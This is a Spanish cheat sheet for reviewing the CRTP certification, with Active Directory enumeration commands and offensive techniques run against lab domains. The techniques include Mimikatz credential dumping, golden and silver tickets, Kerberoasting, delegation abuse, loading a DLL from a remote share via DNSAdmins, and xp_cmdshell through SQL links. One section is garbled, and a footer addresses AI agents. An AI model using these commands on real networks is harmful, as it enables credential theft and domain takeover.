# Repaso CRTP

## 1. Enumeración

* Importar script

{% tabs %}
{% tab title="PowerView" %}

```
. .\Powerview.ps1
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Import-Module ActiveDirectory.ps1
. .\ActiveDirectory.ps1
```

{% endtab %}
{% endtabs %}

* Obtener el dominio&#x20;

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetDomain
Get-NetDomain -Domain powershell.local
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADDomain
Get-ADDomain -Identity powershell.local
(Get-ADDomain).DomainSID.Value
```

{% endtab %}
{% endtabs %}

* Obtener los Controladores de Dominio (DC)

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetDomainController
Get-NetDomainController -Domain powershell.local
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADDomainController
Get-ADDomainController -Discover -DomainName powershell.local
```

{% endtab %}
{% endtabs %}

* Obtener usuarios de un dominio

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetUser
Get-NetUser -Domain powershell.local
Get-NetUser –Username labuser
whoami /priv
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADUser -Filter * -Properties *
Get-ADUser -Server ps-dc.powershell.local
Get-ADUser -Identity labuser
```

{% endtab %}
{% endtabs %}

* Obtejer listado de propiedades de los usuarios del Dominio

{% code overflow="wrap" %}

```
Get-UserProperty
Get-UserProperty –Properties pwdlastset
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
```

{% endcode %}

* Obtener los grupos de un dominio

{% tabs %}
{% tab title="PowerView" %}
Get-NetGroup Get-NetGroup \*Get-ADGroup -Filter \* | select Name Get-ADGroup -Filter 'Name -like "*admin*"' | select NameGet-ADGroup -Filter \* | select Name Get-ADGroup -Filter 'Name -like "*admin*"' | select Name*admin\**
{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADGroup -Filter * | select Name 
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
```

{% endtab %}
{% endtabs %}

* Obtener los miembros del grupo "Domain Admins"

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADGroupMember -Identity "Domain Admins" -Recursive
```

{% endtab %}
{% endtabs %}

* Obtener los grupos a los que pertenece el usuario "labuser"

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetGroup –UserName "labuser"
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADPrincipalGroupMembership -Identity labuser 
```

{% endtab %}
{% endtabs %}

* Obtener todos los equipos de un dominio

{% tabs %}
{% tab title="PowerView" %}
{% code overflow="wrap" %}

```
Get-NetComputer
Get-NetComputer -FullData
Get-NetComputer –OperatingSystem "*Server 2016*"
Get-NetComputer -Ping
Get-NetComputer -FullData
```

{% endcode %}
{% endtab %}

{% tab title="Módulo AD" %}
{% code overflow="wrap" %}

```
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter * -Properties *
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' Get-ADComputer -Filter 'OperatingSystem -like "Server 2016"' -
Get-ADComputer -Filter * Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *
```

{% endcode %}
{% endtab %}
{% endtabs %}

* Obtener todos los grupos de un dominio

```
Get-NetGroup
Get-NetGroup –Domain <targetdomain>
Get-NetGroup –FullData
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
```

* Obtener todos los grupos locales de una máquina

```
Get-NetLocalGroup -ComputerName dcorpdc.dollarcorp.moneycorp.local -ListGroups
Get-NetLocalGroup -ComputerName dcorpdc.dollarcorp.moneycorp.local -Recurse
```

* Obtener los usuarios autenticados en una máquina

```
Get-NetLoggedon –ComputerName <servername>
Get-LoggedonLocal -ComputerName <machine>
```

* Obtener el último usuario autenticado en una máquina

```
Get-LastLoggedOn –ComputerName <servername>
```

* Obtener recursos compartidos en el dominio

```
Invoke-ShareFinder –Verbose
Invoke-FileFinder –Verbose
Get-NetFileServer
```

* Obtener todas las máquinas del dominio donde el usuario autenticado tiene privilegios de local admin

```
Find-LocalAdminAccess -Verbose
Invoke-EnumerateLocalAdmin -Verbose
Invoke-CheckLocalAdminAccess
```

* Obtener las sesiones de una máquina&#x20;

```
Get-NetSession -ComputerName ops-dc
```

* Obtener máquinas donde el Domain Admin se ha autenticado&#x20;

```
Invoke-UserHunter –CheckAccess
Invoke-UserHunter -Stealth
```

* Obtener las relaciones de confianza del dominio

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetDomainTrust
Get-NetDomainTrust –Domain redps.offensiveps.powershell.local
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADTrust -Filter *
Get-ADTrust –Identity redps.offensiveps.powershell.local
```

{% endtab %}
{% endtabs %}

* Obtener la información de los forests

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetForest
Get-NetForest –Forest defensiveps.local
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADForest
Get-ADForest –Identity defensiveps.local
```

{% endtab %}
{% endtabs %}

* Obtener los dominios de los forests

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetForestDomain
Get-NetForestDomain –Forest defensiveps.local
```

{% endtab %}

{% tab title="Módulo AD" %}

```
(Get-ADForest).Domains
```

{% endtab %}
{% endtabs %}

* Obtener las relaciones de confianza en los forests

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetForestTrust
Get-NetForestTrust –Forest defensiveps.local
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'
```

{% endtab %}
{% endtabs %}

### GPOs (Group Policy Object)

* Obtener las GPOs del dominio

{% code overflow="wrap" %}

```
Get-NetGPO
Get-NetGPO -ComputerName dcorpstudent1.dollarcorp.moneycorp.local
Get-GPO -All (GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html (Provides RSoP)
```

{% endcode %}

* Obtener equipos donde un usuario es miembro de un grupo

```
Find-GPOLocation -UserName student1 -Verbose
```

### OU (Organizational Unit)

* Obtener OUs de un dominio

```
Get-NetOU -FullData
Get-ADOrganizationalUnit -Filter * -Properties *
```

* Obtener GPO que aplica a una OU

```
Get-NetGPO -GPOname "{AB306569-220D-43FF-B03B-83E8F4EF8081}"
Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081
```

### ACLs (Access Control List)

* Obtener ACL de un usuario

```powershell
Get-ObjectAcl -SamAccountName student1 –ResolveGUIDs
```

* Obtener ACLs con un path específico&#x20;

```powershell
Get-PathAcl -Path "\\\\dcorp-dc.dollarcorp.moneycorp.local\\sysvol"
```

### BloodHound

```
Invoke-BloodHound -CollectionMethod All
Invoke-BloodHound -CollectionMethod All -ExcludeDC
```

## 2. Escalada de Privilegios Local

* Obtener los servicios que el usuario actual puede modificar

```
Get-ModifiableService -Verbose
```

* Ejecutar AllChecks

```
Invoke-AllChecks
```

* Herramientas para enumerar información de la máquina que permita eleva privilegios

  * PowerUp

  ```powershell
  Invoke-AllChecks
  ```

  * BeRoot

  ```powershell
  .\\beRoot.exe
  ```

  * Privesc

  ```powershell
  Invoke-PrivEsc
  ```

## 3. Movimiento Lateral

### Powershell Remoting

* Cmdlets útiles

```powershell
New-PSSession
Enter-PSSession
Invoke-Command
```

* Ejecutar comandos/scripts en equipos
* Usa –Credential para indicar el username/password.

{% code overflow="wrap" %}

```powershell
Invoke-Command –Scriptblock {Get-Process} -ComputerName (Get-Content <list_of_servers>)
```

{% endcode %}

* Ejecutar scripts de ficheros

{% code overflow="wrap" %}

```jsx
Invoke-Command –FilePath C:\\scripts\\Get-PassHashes.ps1 -ComputerName (Get-Content <list_of_servers>)
```

{% endcode %}

* Crear sesiones remotas con "estado" (Stateful)

```jsx
$Sess = New-PSSession –Computername Server1 -Creds 
Enter-PSSession $sess

winrs -r:machine powershell
```

### Mimikatz & tokens

* Mostrar las credenciales en una máquina local

```bash
Invoke-Mimikatz -DumpCreds
```

* Mostrar los certificados de una máquina local

```bash
Invoke-Mimikatz –DumpCerts
```

* Mostrar las credenciales de máquinas remotas

```bash
Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")
```

* Ejecutar una consola de powershell suplantando al usuario Administrator.

{% code overflow="wrap" %}

```jsx
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<ntlmhash> /run:powershell.exe"'
```

{% endcode %}

#### Manipulación de tokens

* Listar todos los tokens de una máquina&#x20;

```bash
Invoke-TokenManipulation –ShowAll
Invoke-TokenManipulation -Enumerate
```

* Comenzar un proceso con el token de un usuario

```bash
Invoke-TokenManipulation -ImpersonateUser -Username “domain\\user"
```

## 4. Persistencia

### Silver Ticket

* Usa el hash del usuario Administrator en la máquina dc.domain.local para solicitar acceso a los recursos compartidos (servicio CIFS)

{% code overflow="wrap" %}

```powershell
Invoke-Mimikatz -Command '"kerberos::golden /domain:domain.local /sid:Administrator_SID /target:dc.domain.local /service:CIFS /rc4:RC4 /user:Administrator /ptt"'
```

{% endcode %}

### Golden Ticket

Los golden ticket están firmados con el hash del usuario krbtgt.

* Ejecutar mimikatz en el DC como DA para conseguir el hash del usuario krbtgt

```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' –Computername dcorp-dc
```

* Crear un golden ticket

{% code overflow="wrap" %}

```powershell
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:domain.local /sid:KRBTGT_SID /krbtgt:KRBTGT_NTLM id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
```

{% endcode %}

## 5. Escalada de Privilegios

### Kerberoast

* Enumerar usuarios

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetUser –SPN
```

{% endtab %}

{% tab title="Módulo AD" %}
{% code overflow="wrap" %}

```
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
```

{% endcode %}
{% endtab %}
{% endtabs %}

* Solicitar un TGS

{% code overflow="wrap" %}

```powershell
Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/domain.local"
```

{% endcode %}

* Comprobar si se ha creado

```
klist
```

* Exportar todos los tickets

```
Invoke-Mimikatz -Command '"kerberos::list /export"'
```

* Crackear la contraseña con tgsrepcrack, john o hashcat

### AS-REP Roasting

* Enumerar usuarios

{% tabs %}
{% tab title="PowerView\_dev" %}

```
Get-DomainUser -PreauthNotRequired -Verbose
```

{% endtab %}

{% tab title="Módulo AD" %}
{% code overflow="wrap" %}

```
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
```

{% endcode %}
{% endtab %}
{% endtabs %}

```
Get-ASREPHash -UserName VPN1user -Verbose
```

* Enumerar los usuarios con la pre-autenticación deshabilitada

```
Invoke-ASREPRoast -Verbose
```

### SPN

* Enumerar usuarios (PowerView\_dev)

{% tabs %}
{% tab title="PowerView\_dev" %}

```
Get-DomainUser -Identity supportuser | select serviceprincipalname
```

{% endtab %}

{% tab title="Módulo AD" %}
{% code overflow="wrap" %}

```
Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName
```

{% endcode %}
{% endtab %}
{% endtabs %}

* Configurar SPN para un usuario

{% tabs %}
{% tab title="PowerView\_dev" %}
{% code overflow="wrap" %}

```
Set-DomainObject -Identity support1user -Set @{serviceprincipalname='ops/whatever1'}
```

{% endcode %}
{% endtab %}

{% tab title="Módulo AD" %}

```
Set-ADUser -Identity support1user -ServicePrincipalNames @{Add='ops/whatever1'}
```

{% endtab %}
{% endtabs %}

* Solicitar un TGS

{% code overflow="wrap" %}

```
Add-Type -AssemblyNAme System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"
```

{% endcode %}

* Comprobar si se ha creado el TGS

```powershell
klist.exe
```

* Exportar los tickets

```powershell
Invoke-Mimikatz -Command '"kerberos::list /export"'
```

* Crackear la contraseña con tgsrepcrack, john o hashcat

### Delegations

#### Unconstrained

Es posible solicitar cualquier servicio en cualquier máquina del dominio

* Discover domain computers which have unconstrained delegation enabled using PowerView:

```jsx
Get-NetComputer -UnConstrainedin
```

* Run following command on it to check if any DA token is available:

```jsx
Invoke-Mimikatz –Command '"sekurlsa::tickets"'
```

#### Constrained

Es posible solicitar servicios específicos en máquinas específicas del dominio

* Enumerar usuarios

{% tabs %}
{% tab title="PowerView\_dev" %}

```
Get-DomainUser –TrustedToAuth
Get-DomainComputer –TrustedToAuth
```

{% endtab %}
{% endtabs %}

* A través de Kekeo se solicita un TGT

{% code overflow="wrap" %}

```powershell
kekeo# tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f
```

{% endcode %}

* A través de kekeo se usa el TGT para crear un TGS con el servicio CIFS

{% code overflow="wrap" %}

```powershell
Invoke-Mimikatz tgs::s4u /tgt:TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollar-corp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL
```

{% endcode %}

* Inyecta el ticket con mimikatz

{% code overflow="wrap" %}

```jsx
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@domain.local@DOMIAIN.LOCAL_cifs~dcorpmssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"'
```

{% endcode %}

También es posible crear el TGS con Rubeus

{% code overflow="wrap" %}

```powershell
.\\Rubeus.exe s4u /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /impersonateuser:Administrator /msdsspn:"CIFS/dcorpmssql.dollarcorp.moneycorp.LOCAL" /ptt /output:patata.kirbi
```

{% endcode %}

Se comprueba que el servicio se ha validado correctamente

```powershell
ls \\\\dcorp-mssql.dollarcorp.moneycorp.local\\c$
```

### DNSAdmin

* Enumerar los miembros del grupo DNSAdmin

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetGroupMember -GroupName "DNSAdmins"
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADGroupMember -Identity DNSAdmins
```

{% endtab %}
{% endtabs %}

* Configurar la DLL usando dnscmd.exe (necesita RSAT DNS)

```
dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.50.100\dll\mimilib.dll
```

* Usar el módulo de DNS (necesita RSAT DNS)

```
$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc -Verbose -All
$dnsettings.ServerLevelPluginDll ="\\172.16.50.100\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName dcorp-dc -Verbose
```

* Reiniciar el servicio DNS

```powershell
sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns
```

## 6. MSSQL Servers

Usamos [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)&#x20;

* Para enumerar

```powershell
Get-SQLInstanceDomain
```

* Comprobar accesibilidad

```powershell
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
```

* Obtener información&#x20;

```powershell
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
```

### Database Links

* Buscar servidores

```powershell
Get-SQLServerLink -Instance dcorp-mssql -Verbose
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose
```

* La función Openquery() se puede usar para ejecutar peticiones

{% code overflow="wrap" %}

```powershell
select * from openquery("dcorp-sql1",'select * from master..sysservers')
select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from master..sysservers'')')
```

{% endcode %}

* Ejecutar comandos a través de xp\_cmdshell

{% code overflow="wrap" %}

```powershell
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "eu-sql"

Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query **"exec master..xp_cmdshell 'whoami'"**

select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from openquery("eu-sql.eu.eurocorp.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/certificaciones/repaso-crtp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
